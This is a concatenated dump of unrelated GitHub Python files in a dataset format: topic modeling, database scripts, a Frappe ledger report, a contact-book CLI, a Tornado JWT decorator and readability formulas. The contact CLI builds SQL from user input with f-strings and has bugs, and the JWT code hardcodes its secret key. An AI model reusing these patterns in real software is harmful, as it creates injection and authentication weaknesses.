alpha_H=alpha_H,\n l1_ratio=l1_ratio,\n shuffle=shuffle,\n random_state=random_state,\n )\n\n def lda(\n self,\n #\n # LDA PARAMS:\n n_components=10,\n learning_decay=0.7,\n learning_offset=50.0,\n max_iter=10,\n batch_size=128,\n evaluate_every=-1,\n perp_tol=0.1,\n mean_change_tol=0.001,\n max_doc_update_iter=100,\n random_state=0,\n ):\n self.method = \"lda\"\n self.n_components = n_components\n self.estimator = LatentDirichletAllocation(\n n_components=n_components,\n learning_decay=learning_decay,\n learning_offset=learning_offset,\n max_iter=max_iter,\n batch_size=batch_size,\n evaluate_every=evaluate_every,\n perp_tol=perp_tol,\n mean_change_tol=mean_change_tol,\n max_doc_update_iter=max_doc_update_iter,\n random_state=random_state,\n )\n\n def fit(self):\n self.estimator.fit(self.tf_matrix)\n\n def compute_components(self):\n n_zeros = int(np.log10(self.n_components - 1)) + 1\n fmt = \"TH_{:0\" + str(n_zeros) + \"d}\"\n\n self.components = pd.DataFrame(\n self.estimator.components_,\n index=[fmt.format(i) for i in range(self.n_components)],\n columns=self.tf_matrix.columns,\n )\n\n def compute_documents_by_theme(self):\n #\n #\n # n_zeros = int(np.log10(self.n_components - 1)) + 1\n # fmt = \"TH_{:0\" + str(n_zeros) + \"d}\"\n\n doc_topic_matrix = pd.DataFrame(\n self.estimator.transform(self.tf_matrix),\n index=self.tf_matrix.index,\n columns=[i for i in range(self.n_components)],\n )\n\n # extracts the column with the maximum value for each row\n assigned_topics_to_documents = doc_topic_matrix.idxmax(axis=1)\n\n self.documents_by_theme = {}\n for article, theme in zip(assigned_topics_to_documents.index, assigned_topics_to_documents):\n if theme not in self.documents_by_theme:\n self.documents_by_theme[theme] = []\n self.documents_by_theme[theme].append(article)\n\n # return self.documents_by_theme\n\n def terms_by_theme_summary(self, n_top_terms):\n #\n #\n n_zeros = int(np.log10(self.n_components - 1)) + 1\n fmt = \"TH_{:0\" + str(n_zeros) + \"d}\"\n\n #\n # Formats the theme label\n theme_term_matrix = self.estimator.components_\n\n terms_by_topic = {}\n for i, topic in enumerate(theme_term_matrix):\n top_terms_idx = topic.argsort()[: -n_top_terms - 1 : -1]\n top_terms = self.tf_matrix.columns[top_terms_idx]\n terms_by_topic[fmt.format(i)] = top_terms\n\n labels = sorted(terms_by_topic.keys())\n n_terms = [len(terms_by_topic[label]) for label in labels]\n terms = [\"; \".join(terms_by_topic[label]) for label in labels]\n percentage = [round(n_term / sum(n_terms) * 100, 1) for n_term in n_terms]\n\n data_frame = pd.DataFrame(\n {\n \"Theme\": labels,\n \"Num Terms\": n_terms,\n \"Percentage\": percentage,\n \"Terms\": terms,\n }\n )\n\n return data_frame\n\n def report(self):\n #\n # Creates the report directory\n target_dir = f\"topic_modeling/{self.method}\"\n make_report_dir(self.root_dir, target_dir)\n\n #\n #\n for theme in range(self.n_components):\n #\n docs = self.documents_by_theme[theme]\n\n records = self.records.loc[self.records.article.map(lambda x: x in docs), :]\n records = records.sort_values(\n [\"global_citations\", \"local_citations\", \"year\"], ascending=False\n )\n\n file_name = f\"theme_{theme:03d}_abstracts_report.txt\"\n format_report_for_records(\n root_dir=self.root_dir,\n target_dir=target_dir,\n records=records,\n report_filename=file_name,\n )\n\n def themes(self, n_top_terms):\n #\n #\n n_zeros = int(np.log10(self.n_components - 1)) + 1\n fmt = \"TH_{:0\" + str(n_zeros) + \"d}\"\n\n #\n # Formats the theme label\n theme_term_matrix = self.estimator.components_\n\n terms_by_topic = {}\n for i, topic in enumerate(theme_term_matrix):\n top_terms_idx = topic.argsort()[: -n_top_terms - 1 : -1]\n top_terms = self.tf_matrix.columns[top_terms_idx]\n terms_by_topic[fmt.format(i)] = top_terms\n\n communities = pd.DataFrame.from_dict(terms_by_topic, orient=\"index\").T\n communities = communities.fillna(\"\")\n communities = communities.sort_index(axis=1)\n return communities\n","repo_name":"jdvelasq/techminer2","sub_path":"techminer2/analyze/topic_modeling/topic_modeler.py","file_name":"topic_modeler.py","file_ext":"py","file_size_in_byte":7851,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"25103016198","text":"import pyodbc\nfrom sqlalchemy import create_engine\nimport pandas as pd\nfrom app import config\n\nserver = config['server']\nbd = config['bd']\nusuario = config['usuario']\ncontrasena = config['contrasena']\n\ntry:\n conexion = pyodbc.connect('DRIVER={ODBC Driver 17 for SQL server}; SERVER='+server+'; DATABASE='+bd+'; UID='+usuario+';PWD='+contrasena)\n cur = conexion.cursor()\n print(\"conexion exitosa\")\nexcept Exception as ex:\n print(ex)\n\ncur.execute(\"\"\"create table registro_tortelin(\n\tcodigo varchar(100),\n\tsabor varchar(100),\n\ttamanio varchar(100),\n\tunidades_vendidas integer,\n\tunidades_desechadas integer,\n\tprecio_dia integer,\n\tdia integer,\n\tsemana integer,\n\tmes integer,\n\tanio integer,\n\tfecha varchar(100),\n\tdia_nombre varchar(100),\n\tnombre_local varchar(100),\n\tdistrito varchar(100),\n\tdepartamento varchar(100),\n\tcosto integer\n);\"\"\")\nconexion.commit()","repo_name":"24Ours/ETL_Python_Tortelin","sub_path":"creación_tabla.py","file_name":"creación_tabla.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39089154634","text":"from __future__ import unicode_literals\nimport frappe\n\ndef execute(filters=None):\n\treturn get_columns(), get_data(filters)\n\ndef get_data(filters):\n\t\n\tcompany = filters.get('company')\n\taccount = filters.get('account')\n\tvoucher_no = filters.get('voucher_no')\n\tvoucher_type = filters.get('voucher_type')\n\tparty = filters.get('party')\n\tparty_type = filters.get('party_type')\n\tfrom_date = filters.get('from_date')\n\tto_date = filters.get('to_date')\n\n\tdata = frappe.db.sql(\"\"\"\n\tSELECT\n\t\tposting_date, party, party_type, account, debit, credit, company, voucher_type, voucher_no\n\tFROM \n\t\t`tabGL Entry`\n\tWHERE\n\t\t{conditions}\n\tORDER BY\n\t\tposting_date\n\t\"\"\".format(conditions = get_conditions(filters)), filters, as_dict = 1)\n\n\treturn data\n\ndef get_columns():\n\treturn [\n\t\t\"Posting Date:Date:110\",\n\t\t\"Party:Link/Party:180\",\n\t\t\"Party Type:Data:120\",\n\t\t\"Account:Link/Account:150\",\n\t\t\"Debit:Currency:90\",\n\t\t\"Credit:Currency:90\",\n\t\t\"Company:Link/Company:150\",\n\t\t\"Voucher Type:Data:150\",\n\t\t\"Voucher No:Data:150\"\n\t]\n\ndef get_conditions(filters):\n\tconditions = []\n\n\tif filters.get(\"account\"):\n\t\tlft, rgt = frappe.db.get_value(\"Account\", filters[\"account\"], [\"lft\", \"rgt\"])\n\t\tconditions.append(\"\"\"account in (select name from tabAccount\n\t\t\twhere lft>=%s and rgt<=%s and docstatus<2)\"\"\" % (lft, rgt))\n\n\tconditions.append(\"(posting_date >= %(from_date)s and posting_date <= %(to_date)s)\")\n\n\tif filters.get(\"company\"):\n\t\tconditions.append(\"company=%(company)s\")\n\t\n\tif filters.get(\"party_type\"):\n\t\tconditions.append(\"party_type=%(party_type)s\")\n\n\tif filters.get(\"party\"):\n\t\tconditions.append(\"party in %(party)s\")\n\n\tif filters.get(\"voucher_no\"):\n\t\tconditions.append(\"voucher_no=%(voucher_no)s\")\n\n\tif filters.get(\"voucher_type\"):\n\t\tconditions.append(\"voucher_type=%(voucher_type)s\")\n\n\treturn \"{}\".format(\" and \".join(conditions)) if conditions else \"\"","repo_name":"shadrak98/frappe-Accounting","sub_path":"accounting/accounting/report/general_ledger_report/general_ledger_report.py","file_name":"general_ledger_report.py","file_ext":"py","file_size_in_byte":1825,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"22392746882","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('movies', '0016_remove_localization_poster'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='localization',\n name='poster',\n field=models.OneToOneField(to='movies.Poster', null=True, on_delete=django.db.models.deletion.SET_NULL),\n ),\n ]\n","repo_name":"despawnerer/thinkies","sub_path":"movies/migrations/0017_localization_poster.py","file_name":"0017_localization_poster.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1612456697","text":"import sqlite3\r\nimport sys\r\nfrom contact import Contact\r\n\r\ndatabase = sqlite3.connect(\"contact.db\")\r\ncursor = database.cursor()\r\n\r\n\r\n\r\ndef save_contact(name: str,number: int):\r\n cursor.execute(f\"\"\"INSERT INTO Contacts\r\n VALUES ({name}, {number});\"\"\")\r\n\r\n\r\ndef delete_contact(name: str):\r\n contact = cursor.execute(f\"\"\"SELECT name, number\r\n FROM Contacts where name = {name}\"\"\")\r\n if contact:\r\n cursor.execute(f\"\"\"DELETE FROM Contacts \r\n WHERE name = {name};\"\"\")\r\n else:\r\n return \"contact not found\", None\r\n\r\ndef view_contact(name: str) -> str:\r\n contact = cursor.execute(f\"\"\"SELECT name, number\r\n FROM Contacts where name = {name}\"\"\")\r\n if contact:\r\n return str(contact)\r\n return \"contact not found\", None\r\n\r\n\r\ndef process():\r\n print(\"HELLO THERE!\")\r\n inputs = sys.argv[1]\r\n if inputs is None:\r\n raise Exception(\"No arguments provided. What is the name of your contact book?\")\r\n print(\"What do you wish to do? save a new contact(enter s)? delete a contact(enter d)? view contact list(enter v)?\")\r\n answer = input(\">>>\")\r\n if answer == \"s\":\r\n name = input(\"enter conctact's name: \")\r\n number = input(\"enter contact's number: \")\r\n save_contact(name,number)\r\n print(\"Contact saved successfully\")\r\n elif answer == \"d\":\r\n name = input(\"Enter the name of the contact you wish to delete: \")\r\n delete_contact(name)\r\n elif answer == \"v\":\r\n print(view_contact(name))\r\n\r\n\r\n\r\n \r\n\r\nif __name__ == \"__main__\":\r\n save_contact(\"name\",754)","repo_name":"king-tomi/contact-CLI","sub_path":"process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38349558045","text":"import config\r\nfrom DataSet import DataSet\r\nfrom torch.utils.data import Dataset\r\nfrom torch.utils.data import DataLoader\r\n\r\n\r\nclass SampleData(Dataset):\r\n def __init__(self, origin_data: DataSet):\r\n super().__init__()\r\n self.user_item_info = origin_data.user_item_info\r\n self.items_info = origin_data.items_info\r\n self.Xs = []\r\n self.__init_dataset()\r\n\r\n def __init_dataset(self):\r\n for user_id, user_history in enumerate(self.user_item_info):\r\n for seq in user_history:\r\n item_id = seq[0]\r\n rating = config.clk_score * \\\r\n seq[1]+config.like_score*seq[2]+config.addcart_score * \\\r\n seq[3]+config.order_score*seq[4]\r\n self.Xs.append(\r\n (user_id, item_id, self.items_info[item_id][0], self.items_info[item_id][1], rating))\r\n\r\n def __getitem__(self, index):\r\n # user_id, item_id, item_cat, item_brand, rating\r\n return self.Xs[index]\r\n\r\n def __len__(self):\r\n return len(self.Xs)\r\n\r\n\r\ndef get_trainloader(origin_train_data: DataSet) -> DataLoader:\r\n sample_train_data = SampleData(origin_train_data)\r\n trainloader = DataLoader(sample_train_data,\r\n batch_size=config.batch_size,\r\n shuffle=True,\r\n drop_last=False,\r\n num_workers=0)\r\n return trainloader\r\n","repo_name":"gzy02/Vipshop_Rec","sub_path":"SampleData.py","file_name":"SampleData.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9119525782","text":"import tornado.web as web\n\nimport json\nimport status\nimport jwt\n\nfrom handlers.logging import log_this_request\n\n'''\nNEWER\nYou'll take a JWT token as input and will check if the token is valid, \n\tif yes then you'll authorize the user\n\totherwise you'll reject the access to user\n\tAn interesting resource/tutorial on JWT is available at \n\thttps://blog.apcelent.com/json-web-token-tutorial-with-example-in-python.html\n\nYou've gotten inspiration for this function from:\n\thttps://github.com/vsouza/JWT-Tornado/blob/master/auth.py\n\nTODO: You'll notice that 'secret_key' is hardcoded.\n'''\n\nsecret_key = 'secret'\noptions = { 'verify_signature':\tTrue,\n\t\t\t\t 'verify_exp': True,\n\t\t\t\t 'verify_nbf': True,\n\t\t\t\t 'verify_iat': True,\n\t\t\t\t 'verify_aud': True\n\t\t }\n\ndef not_authorized_reply(in_handler, human_readable_reason_msg):\n\tin_handler.set_status(status.HTTP_401_UNAUTHORIZED)\n\tin_handler.set_header('WWW-Authenticate', 'Basic realm=Restricted')\n\tin_handler._transforms = []\n\tin_handler.write(human_readable_reason_msg)\n\tin_handler.finish()\n\ndef require_jwt_auth(handler_class):\n\n\tdef wrap_execute(handler_execute):\n\t\tdef require_auth(handler, kwargs):\n\n\t\t\tusername_header = handler.request.headers.get('Username')\n\t\t\t\n\t\t\tif username_header is None or not username_header.startswith('username '):\n\t\t\t\tnot_authorized_reply(handler, 'Username not provided with token')\n\t\t\t\treturn False\n\n\t\t\tusername = username_header[9:]\n\n\t\t\tauth_header = handler.request.headers.get('Authorization')\n\t\t\t\n\t\t\tif auth_header:\n\t\t\t\tparts = auth_header.split()\n\t\n\t\t\t\tif parts[0].lower() != 'bearer':\n\t\t\t\t\tnot_authorized_reply(handler, \"Invalid header authorization\")\n\t\t\t\t\treturn False\n\n\t\t\t\telif len(parts) == 1:\n\t\t\t\t\tnot_authorized_reply(handler, \"Invalid header authorization\")\n\t\t\t\t\treturn False\n\n\t\t\t\telif len(parts) > 2:\n\t\t\t\t\tnot_authorized_reply(handler, \"Invalid header authorization\")\n\t\t\t\t\treturn False\n\n\t\t\t\ttoken = parts[1]\n\n\t\t\t\ttry:\n\t\t\t\t\tdecoded_token = jwt.decode(token, secret_key, options=options, audience=username)\n\t\t\t\texcept Exception as e:\n\t\t\t\t\tnot_authorized_reply(handler, str(e))\n\t\t\t\t\treturn False\n\n\t\t\telse:\n\t\t\t\tnot_authorized_reply(handler, \"Missing authorization\")\n\t\t\t\treturn False\n\n\t\t\treturn True\n\n\t\tdef _execute(self, transforms, *args, **kwargs):\n\n\t\t\ttry:\n\t\t\t\trequire_auth(self, kwargs)\n\t\t\texcept Exception:\n\t\t\t\treturn False\n\n\t\t\treturn handler_execute(self, transforms, *args, **kwargs)\n\n\t\treturn _execute\n\n\thandler_class._execute = wrap_execute(handler_class._execute)\n\treturn handler_class\n\n\n\n\n@require_jwt_auth\n@log_this_request\nclass JWTAuthHandler(web.RequestHandler):\n\tSUPPORTED_METHODS = (\"GET\")\n\n\tdef get(self):\n\t\tresponse = \"Your JWT certificate is valid.\"\n\t\t\n\t\tself.set_status(status.HTTP_200_OK)\n\t\tself.write(response)\n\n\n\n","repo_name":"khurramHazen/12factorPython","sub_path":"handlers/jwt_auth.py","file_name":"jwt_auth.py","file_ext":"py","file_size_in_byte":2724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37880653390","text":"from distutils.core import setup\n\nREQUIRED_PACKAGES = [\n 'tensorflow==1.12.0',\n 'matplotlib==3.0.2',\n 'numpy==1.16.1',\n]\n\nsetup(\n name='pizza_agent',\n version='0.1',\n description='Policy gradient for learning to cut Pizza.',\n)","repo_name":"hongfu12321/42Robo_food","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34969051191","text":"s=list(input())\ndef cipher(b):\n for i in range(len(b)):\n if b[i].islower():\n a=219-ord(b[i])\n b[i]=chr(a)\n else:\n continue\n return b\n\nprint(\"\".join(cipher(s)))\n","repo_name":"yanamt/NLP-100knock","sub_path":"1shou/1.08.py","file_name":"1.08.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74002242969","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jan 3 10:50:38 2018\n\n@author: lixiaodan\nThis file describes readability formulas.\n\"\"\"\nimport math\nfrom nltk.corpus import stopwords\n\npeacock_word_set = {'acclaimed', 'amazing', 'astonishing', 'authoritative', 'beautiful', 'best', 'brilliant', \n 'canonical', 'celebrated', 'charismatic', 'classic', 'cutting-edged', 'defining', 'definitive', \n 'eminent', 'enigma', 'exciting', 'extraordinary', 'fabulous', 'famous', 'infamous', 'fantastic', \n 'fully', 'genius', 'global', 'great', 'greatest', 'iconic', 'immensely', 'impactful', 'incendiary', \n 'indisputable', 'influential', 'innovative', 'inspired', 'intriguing', 'leader', 'leading', \n 'legendary', 'major', 'masterly', 'mature', 'memorable', 'notable', 'outstanding', 'pioneer', \n 'popular', 'prestigious', 'remarkable', 'renowned', 'respected', 'seminal', \n 'significant', 'skillful', 'solution', 'single-handedly', 'staunch', 'talented',\n 'top', 'transcendent', 'undoubtedly', 'unique', 'visionary', 'virtually', 'virtuoso', 'well-known', \n 'well-established', 'world-class', 'worst'}\n\npeacock_phrase = { 'the most',\n 'really good'\n }\n\nweasel_word_set = { \n 'about', 'adequate', 'and', 'or', 'appropriate', 'approximately', 'basically', 'clearly', \n 'completely', 'exceedingly', 'excellent', 'extremely', 'fairly', 'few', 'frequently', 'good', \n 'huge', 'indicated', 'interestingly', 'largely', 'major', 'many', 'maybe', 'mostly', 'normally', 'often',\n 'perhaps', 'primary', 'quite', 'relatively', 'relevant', 'remarkably', 'roughly', 'significantly', 'several', \n 'sometimes', 'substantially', 'suitable', 'surprisingly', 'tentatively', 'tiny', 'try', 'typically', 'usually', \n 'valid', 'various', 'vast', 'very'\n }\nweasel_phrase = { 'are a number', 'as applicable', 'as circumstances dictate', 'as much as possible', 'as needed', 'as required', \n 'as soon as possible', 'at your earliest convenience', 'critics say', 'depending on', 'experts declare', \n 'if appropriate', 'if required', 'if warranted', 'is a number', 'in a timely manner', 'in general', 'in most cases', \n 'in our opinion', 'in some cases', 'in most instances', 'it is believed', 'it is often reported', 'it is our understanding', 'it is widely thought', \n 'it may', 'it was proven', 'make an effort to', 'many are of the opinion', 'many people think', 'more or less', \n 'most feel', 'on occasion', 'research has shown', 'science says', 'should be', 'some people say', 'striving for', 'we intend to', \n 'when necessary', 'when possible'\n }\n\nlines = open('/Users/lixiaodan/Desktop/wikipedia_project/dataset/dale_chall_word_list.txt', 'r').readlines()\ndale_chall_word_list = set()\nfor line in lines:\n temp = line.split(' ')\n res = temp[0]\n if temp[0][-1] == '\\n':\n res = temp[0][0:-1]\n dale_chall_word_list.add(res)\n\n## Automated readability index\ndef getARI(charCnt, wordCnt, sentCnt):\n ari = 4.71 * charCnt / wordCnt + 0.5 * wordCnt / sentCnt - 21.43\n if ari < 0:\n ari = 0\n return ari\n\ndef BormuthIndex(charCnt, wordCnt, sentCnt, diffwordCnt):\n BI = 0.886593 - 0.0364 * charCnt / wordCnt + 0.161911 * (1 - diffwordCnt / wordCnt) - 0.21401 * wordCnt / sentCnt - 0.000577 * wordCnt / sentCnt - 0.000005 * wordCnt / sentCnt\n return BI\n\ndef isDifficultWord(word):\n if word in dale_chall_word_list:\n return False\n return True\n\ndef isPeacockWord(word):\n if word in peacock_word_set:\n return True\n return False\n\ndef hasPeacockPhrase(sentence):\n for phrase in peacock_phrase:\n res = sentence.find(phrase)\n if res != -1:\n #print(\"peacock\")\n #print(phrase)\n return True\n return False\n\ndef isWeaselWord(word):\n if word in weasel_word_set:\n return True\n return False\n\ndef hasWeaselPhrase(sentence):\n for phrase in weasel_phrase:\n res = sentence.find(phrase)\n if res != -1:\n #print(\"weasel\")\n #print(phrase)\n return True\n return False\n\ndef isStopWord(word):\n if word in stopwords.words('english'):\n return True\n return False\n\n## Coleman-Liar index\ndef getColemanLaurIndex(charCnt, wordCnt, sentCnt):\n CLIndex = 5.89 * charCnt / wordCnt - 30.0 * sentCnt / wordCnt - 15.8\n return CLIndex\n\n## FORCAST readability\ndef getEduYears(oneSyllableCnt):\n return 20 - oneSyllableCnt / 10.0\n\n## Flesch reading ease\ndef getFleschReading(wordCnt, sentCnt, oneSyllableCnt):\n return 206.835 - 1.015 * wordCnt / sentCnt - 84.6 * oneSyllableCnt / wordCnt\n\n## Flesch-Kincaid\ndef getFleschKincaid(wordCnt, sentCnt, oneSyllableCnt):\n return 0.39 * wordCnt / sentCnt + 11.8 * oneSyllableCnt / wordCnt - 15.59\n\n## Gunning Fog Index\ndef getGunningFogIndex(wordCnt, sentCnt, complexWordCnt):\n return 0.4 * ((wordCnt / sentCnt) + 100.0 * (float(complexWordCnt) / wordCnt))\n\n## Lasbarhedsindex\ndef getLIX(wordCnt, sentCnt, longWordCnt):\n return float(wordCnt) / sentCnt + 100 * float(longWordCnt) / wordCnt\n\n## Miyazaki EFL readability index\ndef getMiyazakiEFL(charCnt, wordCnt, sentCnt):\n return 164.935 - 18.792 * charCnt / wordCnt - 1.916 * wordCnt / sentCnt\n\n## new Dale Chall\ndef getNewDaleChall(wordCnt, sentCnt, diffwordCnt):\n return 0.1579 * diffwordCnt / wordCnt + 0.0496 * wordCnt / sentCnt\n\n## SMOG grading:\ndef getSmogGrading(sentCnt, complexWordCnt):\n return math.sqrt(30.0 * complexWordCnt / sentCnt) + 3","repo_name":"Daniellee1990/Wikipeida_quality_analysis","sub_path":"readability_formulas.py","file_name":"readability_formulas.py","file_ext":"py","file_size_in_byte":5858,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"6984346347","text":"# * Напишите функцию my_round, аналог встроенной round. Использование самой функции round запрещено.\n# * Старайтесь использовать аннотации\n\ndef my_round(number: float, digits: int = 0) -> float:\n multiplier = 10 ** digits\n if number < 0:\n return int(number * multiplier - 0.5) / multiplier\n else:\n return int(number * multiplier + 0.5) / multiplier\n\n\nassert my_round(0.556) == 1.0\nassert my_round(-10.4) == -10.0\nassert my_round(-8.463, 2) == -8.46\nassert my_round(18.658, 2) == 18.66\n\n''' более понятный вариант\ndef my_round(num: float, digits: int = 0) -> float:\n ten_pow = 10 ** digits\n num *= ten_pow\n if num - int(num) < 0.5:\n num = int(num)\n else:\n num = int(num) + 1\n num /= ten_pow\n return num\n'''\n","repo_name":"IFaniksI/tms-lessons","sub_path":"classes/lesson_05/task_08.py","file_name":"task_08.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42061906002","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport argparse\nimport os\n\nparser = argparse.ArgumentParser(description='Plotter')\nparser.add_argument('--saveDir', type=str, default='../models/',\n help='Directory from saved data')\nparser.add_argument('--fname', type=str, default='train_history.npz',\n help='Filename to plot')\nparser.add_argument('--title', type=str, default='',\n help='Add info to title')\nparser.add_argument('-n', '--smooth', type=int, default=1,\n help='Use n previous values to smooth curve')\nargs = parser.parse_args()\n\nclass Plotter(object):\n \"\"\"Loads and plots training history\"\"\"\n def __init__(self, saveDir='../models/', fname='train_history.npz'):\n self.path = os.path.join(saveDir, fname)\n self._load_histories()\n\n def _load_histories(self):\n \"\"\"\n Load training history with its parameters to self.path.\n \"\"\"\n npzfile = np.load(self.path)\n self.train_loss_history = npzfile['train_loss_history']\n self.val_acc_history = npzfile['val_acc_history']\n self.val_loss_history = npzfile['val_loss_history']\n\n def plot_histories(self, extra_title='', n_smoothed=1):\n \"\"\"\n Plot losses and accuracies from training and validation. Also plots a \n smoothed curve for train_loss.\n\n Inputs:\n - extra_title: extra string to be appended to plot's title\n \"\"\"\n f, (ax1, ax2) = plt.subplots(1, 2)\n f.suptitle('Training histories ' + extra_title)\n\n x_epochs = np.arange(1,len(self.val_loss_history)+1)*len(self.train_loss_history)/len(self.val_loss_history)\n\n cumsum = np.cumsum(np.insert(self.train_loss_history, 0, 0))\n N = n_smoothed # Moving average size\n smoothed = (cumsum[N:] - cumsum[:-N]) / float(N)\n\n ax1.set_yscale('log')\n ax1.plot(self.train_loss_history, label=\"train\")\n ax1.plot(x_epochs,self.val_loss_history, label=\"validation\", marker='x')\n if n_smoothed > 1:\n ax1.plot(smoothed, label=\"train_smoothed\")\n ax1.legend()\n ax1.set_ylabel('loss')\n ax1.set_xlabel('batch')\n \n ax2.plot(np.arange(1,len(self.val_acc_history)+1),self.val_acc_history, label=\"validation\", marker='x')\n ax2.legend()\n ax2.set_ylabel('accuracy')\n ax2.set_xlabel('epoch')\n \n plt.show();\n\nif __name__ == '__main__':\n plotter = Plotter(args.saveDir, args.fname)\n plotter.plot_histories(args.title, args.smooth)\n","repo_name":"horefice/3DHPE","sub_path":"utils/plotter.py","file_name":"plotter.py","file_ext":"py","file_size_in_byte":2397,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"41793551598","text":"# 5. Запросите у пользователя значения выручки и издержек фирмы. Определите, с каким финансовым результатом работает фирма (прибыль — выручка больше издержек,\n# или убыток — издержки больше выручки). Выведите соответствующее сообщение. Если фирма отработала с прибылью,\n# вычислите рентабельность выручки (соотношение прибыли к выручке). Далее запросите численность сотрудников фирмы и\n# определите прибыль фирмы в расчете на одного сотрудника.\n\nrevenue = ''\ncosts = ''\ncount_employee = ''\n\nwhile True:\n revenue = input('Введите выручку Вашей компании:\\n')\n if not revenue.isdigit():\n print('!!!введите только целое положительное число!!!')\n continue\n break\n\nwhile True:\n costs = input('Введите издержки Вашей компании:\\n')\n if not revenue.isdigit():\n print('!!!введите только целое положительное число!!!')\n continue\n break\n\nif revenue > costs:\n print('Ваша компания отработала с прибылью')\n profit = int(revenue)-int(costs)\n profitability = profit/int(revenue)\n while True:\n count_employee = input('Введите количество сотрудников в Вашей компании:\\n')\n if not count_employee.isdigit():\n print('!!!введите только число!!!')\n continue\n break\n profit_per_employee = profit / int(count_employee)\n print(f'Прибыль Вашей компании: {profit}', f'Прибыль в расчете на одного сотрудника: {profit_per_employee}', sep = '\\n')\n\n\nelse:\n print('К сожалению, Ваша компания отработала в убыток')","repo_name":"DenisLo-master/python_basic_11.06.2020","sub_path":"homeworks/less1/task5.py","file_name":"task5.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35936297","text":"\"\"\"\n\n\tSPIRAL PRINT:\n\t\tGiven matrix M, print all items of M in clockwise spiral order.\n\n\tMETHODS:\n\t\tMutating: set item to -1. Change direction upon encountering -1. \n\t\t\tDoesn't support negative. Can use None in python.\n\n\t\tNon-Mutating: Copy and do #1 (takes space.)\n\t\t\tBETTER: Keep bounds. Upperbound, Lowerbound, Rightbound, Leftbound. Update.\n\t\t\tDirection --> use deltas. Encapsulate in class. (better overall)\n\n\"\"\"\n\ndef spiral_print_simpler(matrix):\n\ttop = 0\n\tbottom = len(matrix) - 1\n\tleft = 0\n\tright = len(matrix[0]) - 1\n\toutput = []\n\twhile top <= bottom and left <= right:\n\t\tfor i in range(left,right + 1):output.append(matrix[top][i])\n\t\ttop += 1\n\n\t\tfor i in range(top,bottom + 1): output.append(matrix[i][right])\n\t\tright -= 1\n\n\t\tif top <= bottom:\n\t\t\tfor i in range(right, left - 1, -1): output.append(matrix[bottom][i])\n\t\t\tbottom -= 1\n\n\t\tif left <= right:\n\t\t\tfor i in range(bottom, top - 1, -1): output.append(matrix[i][left])\n\t\t\tleft += 1\n\t\n\tprint(\" \".join(map(str, output)))\n\ndef spiral_print(matrix):\n\tdelta_row = 0\n\tdelta_column = 1\n\ti = j = 0\n\tleft_bound = -1\n\ttop_bound = -1\n\tright_bound = len(matrix[0])\n\tbottom_bound = len(matrix)\n\toutput = []\n\twhile True:\n\t\toutput.append(matrix[i][j])\n\t\ti += delta_row\n\t\tj += delta_column\n\t\tif i in [top_bound,bottom_bound] or j in[left_bound,right_bound]:\n\t\t\tif i==top_bound: left_bound += 1\n\t\t\telif i==bottom_bound: right_bound -= 1\n\t\t\telif j==right_bound: top_bound += 1\n\t\t\telif j==left_bound: bottom_bound -= 1\n\t\t\ti -= delta_row\n\t\t\tj -= delta_column\n\t\t\tdelta_row, delta_column = turn_right(delta_row, delta_column)\n\t\t\ti += delta_row\n\t\t\tj += delta_column\n\t\t\tif i in [top_bound,bottom_bound] or j in[left_bound,right_bound]:\n\t\t\t\tbreak\n\tprint(\" \".join(map(str,output)))\n\ndef turn_right(delta_row, delta_column):\n\t# right\n\tif delta_column != 0: return (1,0) if delta_column == 1 else (-1, 0)\n\telse: return (0,-1) if delta_row == 1 else (0,1)\n\ndef test_spiral_print():\n\tmatrix = [[1,2,3,4,5],[6,7,8,9,10],[11,12,13,14,15],[16,17,18,19,20]]\n\tspiral_print(matrix)\n\tspiral_print_simpler(matrix)\n\ntest_spiral_print()","repo_name":"TedYav/CodingChallenges","sub_path":"Pramp/python/matrix_spiral_print.py","file_name":"matrix_spiral_print.py","file_ext":"py","file_size_in_byte":2060,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"40924312902","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport unicodedata, codecs\nfrom decode import unescape\nfrom cStringIO import StringIO\n\nimport csv\nfilename='readme.csv'\nthefile=codecs.open(filename, \"r\", \"utf-8\" )\ntext=thefile.read()\nthefile.close()\noldtext=unicodedata.normalize('NFKC',text)\ntext=oldtext.encode('ascii','ignore')\nthefile=StringIO(text)\ntheDict=csv.DictReader(thefile)\nimport textwrap\nfor count,item in enumerate(theDict):\n print(60*'+')\n oldtext=item['Pre-class prep 